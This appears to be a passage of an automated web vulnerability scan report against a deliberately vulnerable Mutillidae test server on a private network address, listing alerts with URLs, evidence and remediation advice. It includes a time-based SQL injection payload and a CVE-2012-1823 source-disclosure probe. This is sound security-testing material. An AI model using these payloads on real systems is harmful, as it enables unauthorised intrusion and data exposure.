URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [44] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,225] milliseconds, when the original unmodified query with value [source-viewer.php] took [45] milliseconds.
Instances	1
Solution	Do not trust client side input, even if there is client side validation in place. In general, type check all data on the server side. If the application uses JDBC, use PreparedStatement or CallableStatement, with parameters passed by '?' If the application uses ASP, use ADO Command Objects with strong type checking and parameterized queries. If database Stored Procedures can be used, use them. Do *not* concatenate strings into queries in the stored procedure, or use 'exec', 'exec immediate', or equivalent functionality! Do not create dynamic SQL queries using simple string concatenation. Escape all data received from the client. Apply an 'allow list' of allowed characters, or a 'deny list' of disallowed characters in user input. Apply the principle of least privilege by using the least privileged database user possible. In particular, avoid using the 'sa' or 'db-owner' database users. This does not eliminate SQL injection, but minimizes its impact.

	Grant the minimum database access that is necessary for the application.
Reference	https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
CWE Id	89
WASC Id	19
Plugin Id	40024

High	**Source Code Disclosure - CVE-2012-1823**
Description	Some PHP versions, when configured to run using CGI, do not correctly handle query strings that lack an unescaped "=" character, enabling PHP source code disclosure, and arbitrary code execution. In this case, the contents of the PHP file were served directly to the web browser. This output will typically contain PHP, although it may also contain straight HTML.
URL	http://192.168.0.9/mutillidae/?-s
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?-s
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/set-up-database.php?-s
Method	GET
Attack	
Evidence	
Instances	3
Solution	Upgrade to the latest stable version of PHP, or use the Apache web server and the mod_rewrite module to filter out malicious requests using the "RewriteCond" and "RewriteRule" directives.
Reference	http://projects.webappsec.org/Improper-Input-Handling http://cwe.mitre.org/data/definitions/89.html
CWE Id	20
WASC Id	20
Plugin Id	20017

Medium	**Absence of Anti-CSRF Tokens**
Description	No Anti-CSRF tokens were found in a HTML submission form. A cross-site request forgery is an attack that involves forcing a victim to send an HTTP request to a target destination without their knowledge or intent in order to perform an action as the victim. The underlying cause is application functionality using predictable URL /form actions in a repeatable way. The nature of the attack is that CSRF exploits the trust that a web site has for a user. By contrast, cross-site scripting (XSS) exploits the trust that a user has for a web site. Like XSS, CSRF attacks are not necessarily cross-site, but they can be. Cross-site request forgery is also known as CSRF, XSRF, one-click attack, session riding, confused deputy, and sea surf. CSRF attacks are effective in a number of situations, including: * The victim has an active session on the target site. * The victim is authenticated via HTTP auth on the target site.

	* The victim is on the same local network as the target site. CSRF has primarily been used to perform an action against a target site using the victim's privileges, but recent techniques have been discovered to disclose information by gaining access to the response. The risk of information disclosure is dramatically increased when the target site is vulnerable to XSS, because XSS can be used as a platform for CSRF, allowing the attack to operate within the bounds of the same-origin policy.
URL	http://192.168.0.9/mutillidae/?page=add-to-your-blog.php
Method	GET
Attack	
Evidence	<form action="index.php?page=add-to-your-blog.php" method="post" enctype="application/x-www-form-urlencoded" onsubmit="return onSubmitBlogEntry(this);" id="idBlogForm">
URL	http://192.168.0.9/mutillidae/?page=login.php
Method	GET
Attack	
Evidence	<form action="index.php?page=login.php" method="post" enctype="application/x-www-form-urlencoded" onsubmit="return onSubmitOfLoginForm(this);" id="idLoginForm">
URL	http://192.168.0.9/mutillidae/?page=register.php
Method	GET
Attack	
Evidence	<form action="index.php?page=register.php" method="post" enctype="application/x-www-form-urlencoded">
URL	http://192.168.0.9/mutillidae/?page=text-file-viewer.php
Method	GET
Attack	
Evidence	<form action="index.php?page=text-file-viewer.php" method="post" enctype="application/x-www-form-urlencoded">
URL	http://192.168.0.9/mutillidae/?page=user-info.php
Method	GET
Attack	
Evidence	<form action="./index.php?page=user-info.php" method="GET" enctype="application/x-www-form-urlencoded" >
URL	http://192.168.0.9/mutillidae/?page=view-someones-blog.php
Method	GET
Attack	
Evidence	<form action="index.php?page=view-someones-blog.php" method="post" enctype="application/x-www-form-urlencoded">
URL	http://192.168.0.9/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Method	GET
Attack	
Evidence	<form action="index.php" method="GET" enctype="application/x-www-form-urlencoded" id="idPollForm">
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	GET
Attack	

Evidence	<form action="index.php?page=add-to-your-blog.php" method="post" enctype="application /x-www-form-urlencoded" onsubmit="return onSubmitBlogEntry(this);" id="idBlogForm">
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	GET
Attack	
Evidence	<form action="index.php?page=dns-lookup.php" method="post" enctype="application/x-www-form-urlencoded" onsubmit="return onSubmitBlogEntry(this);" id="idDNSLookupForm" >
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	GET
Attack	
Evidence	<form action="index.php?page=html5-storage.php" method="post" enctype="application/x-www-form-urlencoded" onsubmit="return false;" id="idForm">
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	GET
Attack	
Evidence	<form action="index.php?page=login.php" method="post" enctype="application/x-www-form-urlencoded" onsubmit="return onSubmitOfLoginForm(this);" id="idLoginForm">
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php
Method	GET
Attack	
Evidence	<form enctype="application/x-www-form-urlencoded" id="idGeneratorForm">
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php&username=anonymous
Method	GET
Attack	
Evidence	<form enctype="application/x-www-form-urlencoded" id="idGeneratorForm">
URL	http://192.168.0.9/mutillidae/index.php?page=pen-test-tool-lookup.php
Method	GET
Attack	
Evidence	<form action="index.php?page=pen-test-tool-lookup.php" method="post" enctype=" application/x-www-form-urlencoded" onsubmit="" id="idForm">
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	GET
Attack	
Evidence	<form action="index.php?page=register.php" method="post" enctype="application/x-www-form-urlencoded">
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php
Method	GET
Attack	
Evidence	<form action="index.php?page=set-background-color.php" method="post" enctype=" application/x-www-form-urlencoded" style="background-color:#eecccc" >
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	GET
Attack	

Evidence	<form action="index.php?page=source-viewer.php" method="post" enctype="application/x-www-form-urlencoded">
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	GET
Attack	
Evidence	<form action="index.php?page=text-file-viewer.php" method="post" enctype="application/x-www-form-urlencoded">
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php
Method	GET
Attack	
Evidence	<form action="./index.php?page=user-info.php" method="GET" enctype="application/x-www-form-urlencoded" >
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	
Evidence	<form action="./index.php?page=user-info.php" method="GET" enctype="application/x-www-form-urlencoded" >
URL	http://192.168.0.9/mutillidae/index.php?page=user-poll.php
Method	GET
Attack	
Evidence	<form action="index.php" method="GET" enctype="application/x-www-form-urlencoded" id="idPollForm">
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	GET
Attack	
Evidence	<form action="index.php?page=view-someones-blog.php" method="post" enctype="application/x-www-form-urlencoded">
URL	http://192.168.0.9/phpMyAdmin/
Method	GET
Attack	
Evidence	<form method="post" action="index.php" target="_parent">
URL	http://192.168.0.9/phpMyAdmin/
Method	GET
Attack	
Evidence	<form method="post" action="index.php" name="login_form" autocomplete="off" target="_top" class="login">
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	POST
Attack	
Evidence	<form action="index.php?page=add-to-your-blog.php" method="post" enctype="application/x-www-form-urlencoded" onsubmit="return onSubmitBlogEntry(this);" id="idBlogForm">
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	POST
Attack	

Evidence	<form action="index.php?page=dns-lookup.php" method="post" enctype="application/x-www-form-urlencoded" onsubmit="return onSubmitBlogEntry(this);" id="idDNSLookupForm" >
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	POST
Attack	
Evidence	<form action="index.php?page=html5-storage.php" method="post" enctype="application/x-www-form-urlencoded" onsubmit="return false;" id="idForm">
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	POST
Attack	
Evidence	<form action="index.php?page=login.php" method="post" enctype="application/x-www-form-urlencoded" onsubmit="return onSubmitOfLoginForm(this);" id="idLoginForm">
URL	http://192.168.0.9/mutillidae/index.php?page=pen-test-tool-lookup.php
Method	POST
Attack	
Evidence	<form action="index.php?page=pen-test-tool-lookup.php" method="post" enctype=" application/x-www-form-urlencoded" onsubmit="" id="idForm">
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	POST
Attack	
Evidence	<form action="index.php?page=register.php" method="post" enctype="application/x-www-form-urlencoded">
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php
Method	POST
Attack	
Evidence	<form action="index.php?page=set-background-color.php" method="post" enctype=" application/x-www-form-urlencoded" style="background-color:#ZAP" >
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	
Evidence	<form action="index.php?page=source-viewer.php" method="post" enctype="application/x-www-form-urlencoded">
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	
Evidence	<form action="index.php?page=text-file-viewer.php" method="post" enctype="application/x-www-form-urlencoded">
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	POST
Attack	
Evidence	<form action="index.php?page=view-someones-blog.php" method="post" enctype=" application/x-www-form-urlencoded">
Instances	34
	Phase: Architecture and Design

Solution	Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, use anti-CSRF packages such as the OWASP CSRFGuard. Phase: Implementation Ensure that your application is free of cross-site scripting issues, because most CSRF defenses can be bypassed using attacker-controlled script. Phase: Architecture and Design Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). Note that this can be bypassed using XSS. Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation. Note that this can be bypassed using XSS. Use the ESAPI Session Management control. This control includes a component for CSRF. Do not use the GET method for any request that triggers a state change. Phase: Implementation Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
Reference	http://projects.webappsec.org/Cross-Site-Request-Forgery http://cwe.mitre.org/data/definitions/352.html
CWE Id	352
WASC Id	9
Plugin Id	10202

Medium	**Application Error Disclosure**
Description	This page contains an error/warning message that may disclose sensitive information like the location of the file that produced the unhandled exception. This information can be used to launch further attacks against the web application. The alert could be a false positive if the error message is found inside a documentation page.
URL	http://192.168.0.9/dav/
Method	GET
Attack	
Evidence	Parent Directory
URL	http://192.168.0.9/mutillidae/?page=show-log.php
Method	GET
Attack	
Evidence	Table 'metasploit.hitlog' doesn't exist
URL	http://192.168.0.9/mutillidae/index.php?page=capture-data.php
Method	GET
Attack	
Evidence	Table 'metasploit.captured_data' doesn't exist

URL	http://192.168.0.9/mutillidae/index.php?page=captured-data.php
Method	GET
Attack	
Evidence	Table 'metasploit.captured_data' doesn't exist
URL	http://192.168.0.9/mutillidae/index.php?page=pen-test-tool-lookup.php
Method	GET
Attack	
Evidence	Fatal error: Call to a member function fetch_object() on a non-object in /var /www/mutillidae/pen-test-tool-lookup.php on line 273
URL	http://192.168.0.9/mutillidae/index.php?page=show-log.php
Method	GET
Attack	
Evidence	Table 'metasploit.hitlog' doesn't exist
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	
Evidence	Table 'metasploit.accounts' doesn't exist
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	GET
Attack	
Evidence	Table 'metasploit.accounts' doesn't exist
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	POST
Attack	
Evidence	Table 'metasploit.blogs_table' doesn't exist
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	POST
Attack	
Evidence	Warning: Cannot modify header information - headers already sent by (output started at /var/www/mutillidae/process-login-attempt.php:97) in /var/www/mutillidae /index.php on line 148
URL	http://192.168.0.9/mutillidae/index.php?page=pen-test-tool-lookup.php
Method	POST
Attack	
Evidence	Fatal error: Call to a member function fetch_object() on a non-object in /var /www/mutillidae/pen-test-tool-lookup.php on line 273
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	POST
Attack	
Evidence	Table 'metasploit.accounts' doesn't exist
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST

Attack	
Evidence	Warning: highlight_file(1) [function.highlight-file]: failed to open stream: No such file or directory in /var/www/mutillidae/source-viewer.php on line 214
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	POST
Attack	
Evidence	Table 'metasploit.accounts' doesn't exist
Instances	14
Solution	Review the source code of this page. Implement custom error pages. Consider implementing a mechanism to provide a unique error reference/identifier to the client (browser) while logging the details on the server side and not exposing them to the user.
Reference	
CWE Id	200
WASC Id	13
Plugin Id	90022

Medium	**Content Security Policy (CSP) Header Not Set**
Description	Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft to site defacement or distribution of malware. CSP provides a set of standard HTTP headers that allow website owners to declare approved sources of content that browsers should be allowed to load on that page — covered types are JavaScript, CSS, HTML frames, fonts, images and embeddable objects such as Java applets, ActiveX, audio and video files.
URL	http://192.168.0.9/*
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/*;q=0.8
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/--
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/b
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/dav/
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/div

Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/form
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/h1
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/home/remastersys/remastersys
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/i
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/includes/back-button.inc
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/index.php?page=register.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/?page=add-to-your-blog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/?page=credits.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/?page=login.php
Method	GET

Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/?page=register.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/?page=show-log.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/?page=source-viewer.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/?page=text-file-viewer.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/?page=user-info.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/?page=view-someones-blog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/framer.html
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/function.highlight-file
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Method	GET

Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://pauldotcom.com/&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.irongeek.com/&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.isd-podcast.com/&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.issa-kentuckiana.org/&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.owasp.org&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.owasp.org/index.php/Louisville&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.php.net/&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.pocodoy.com/blog/&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.room362.com/&page=redirectandlog.php
Method	GET

Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=https://addons.mozilla.org/en-US/firefox/collections/jdruin/pr/&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=arbitrary-file-inclusion.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=browser-info.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=capture-data.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=captured-data.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=change-log.htm
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=credits.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=documentation/how-to-access-Mutillidae-over-Virtual-Box-network.php
Method	GET

Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=documentation/vulnerabilities.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=framing.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=home.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=installation.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=notes.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=page-not-found.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php&username=anonymous
Method	GET

Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=pen-test-tool-lookup.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=php-errors.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=rene-magritte.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=secret-administrative-pages.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=show-log.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=site-footer-xss-discussion.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	GET
Attack	

Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=usage-instructions.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=user-poll.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/set-up-database.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/phpMyAdmin/
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/robots.txt
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/script
Method	GET
Attack	

Evidence	
URL	http://192.168.0.9/sitemap.xml
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/span
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/srv
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/srv/mutillidae
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/table
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/td
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/tr
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/twiki/
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/u
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/var/www/mutillidae.
Method	GET
Attack	
Evidence	

URL	http://192.168.0.9/var/www/mutillidae/add-to-your-blog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/var/www/mutillidae/capture-data.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/var/www/mutillidae/captured-data.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/var/www/mutillidae/captured-data.txt.
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/var/www/mutillidae/index.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/var/www/mutillidae/register.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/var/www/mutillidae/show-log.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/var/www/mutillidae/source-viewer.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/var/www/mutillidae/user-info.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/var/www/mutillidae/view-someones-blog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/xampp/htdocs/mutillidae/captured-data.txt.

Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/XamppLite/apache/bin/php.ini.
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/XamppLite/PHP/php.ini.
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=pen-test-tool-lookup.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST

Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	POST
Attack	
Evidence	
Instances	108
Solution	Ensure that your web server, application server, load balancer, etc. is configured to set the Content-Security-Policy header.
Reference	https://developer.mozilla.org/en-US/docs/Web/Security/CSP /Introducing_Content_Security_Policy https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html http://www.w3.org/TR/CSP/ http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html http://www.html5rocks.com/en/tutorials/security/content-security-policy/ http://caniuse.com/#feat=contentsecuritypolicy http://content-security-policy.com/
CWE Id	693
WASC Id	15
Plugin Id	10038

Medium	**Directory Browsing**
Description	It is possible to view a listing of the directory contents. Directory listings may reveal hidden scripts, include files, backup source files, etc., which can be accessed to reveal sensitive information.
URL	http://192.168.0.9/mutillidae/documentation/
Method	GET
Attack	http://192.168.0.9/mutillidae/documentation/
Evidence	Parent Directory
URL	http://192.168.0.9/mutillidae/images/
Method	GET
Attack	http://192.168.0.9/mutillidae/images/
Evidence	Parent Directory
URL	http://192.168.0.9/mutillidae/javascript/
Method	GET
Attack	http://192.168.0.9/mutillidae/javascript/
Evidence	Parent Directory
URL	http://192.168.0.9/mutillidae/javascript/ddsmoothmenu/
Method	GET
Attack	http://192.168.0.9/mutillidae/javascript/ddsmoothmenu/
Evidence	Parent Directory

URL	http://192.168.0.9/mutillidae/styles/
Method	GET
Attack	http://192.168.0.9/mutillidae/styles/
Evidence	Parent Directory
URL	http://192.168.0.9/mutillidae/styles/ddsmoothmenu/
Method	GET
Attack	http://192.168.0.9/mutillidae/styles/ddsmoothmenu/
Evidence	Parent Directory
URL	http://192.168.0.9/dav/
Method	GET
Attack	
Evidence	<title>Index of /dav</title>
Instances	7
Solution	Configure the web server to disable directory browsing.
Reference	https://cwe.mitre.org/data/definitions/548.html
CWE Id	548
WASC Id	16
Plugin Id	10033

Medium	Hidden File Found
Description	A sensitive file was identified as accessible or available. This may leak administrative, configuration, or credential information which can be leveraged by a malicious individual to further attack the system or conduct social engineering efforts.
URL	http://192.168.0.9/phpinfo.php
Method	GET
Attack	
Evidence	HTTP/1.1 200 OK
Instances	1
Solution	Consider whether or not the component is actually required in production, if it isn't then disable it. If it is then ensure access to it requires appropriate authentication and authorization, or limit exposure to internal systems or specific source IPs, etc.
Reference	https://blog.hboeck.de/archives/892-Introducing-Snallygaster-a-Tool-to-Scan-for-Secrets-on-Web-Servers.html https://www.php.net/manual/en/function.phpinfo.php
CWE Id	538
WASC Id	13
Plugin Id	40035

Medium	Missing Anti-clickjacking Header
Description	The response does not include either Content-Security-Policy with 'frame-ancestors' directive or X-Frame-Options to protect against 'ClickJacking' attacks.
URL	http://192.168.0.9/dav/
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/index.php?page=register.php

Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/?page=credits.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/?page=login.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/?page=show-log.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/?page=text-file-viewer.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/?page=user-info.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/framer.html
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://pauldotcom.com/&page=redirectandlog.php

Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.irongeek.com/&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.owasp.org/index.php/Louisville&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.pocodoy.com/blog/&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.room362.com/&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=https://addons.mozilla.org/en-US/firefox/collections/jdruin/pr/&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=arbitrary-file-inclusion.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=browser-info.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=capture-data.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=captured-data.php
Method	GET
Attack	

Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=change-log.htm
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=credits.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=documentation/vulnerabilities.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=home.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=installation.php
Method	GET
Attack	
Evidence	
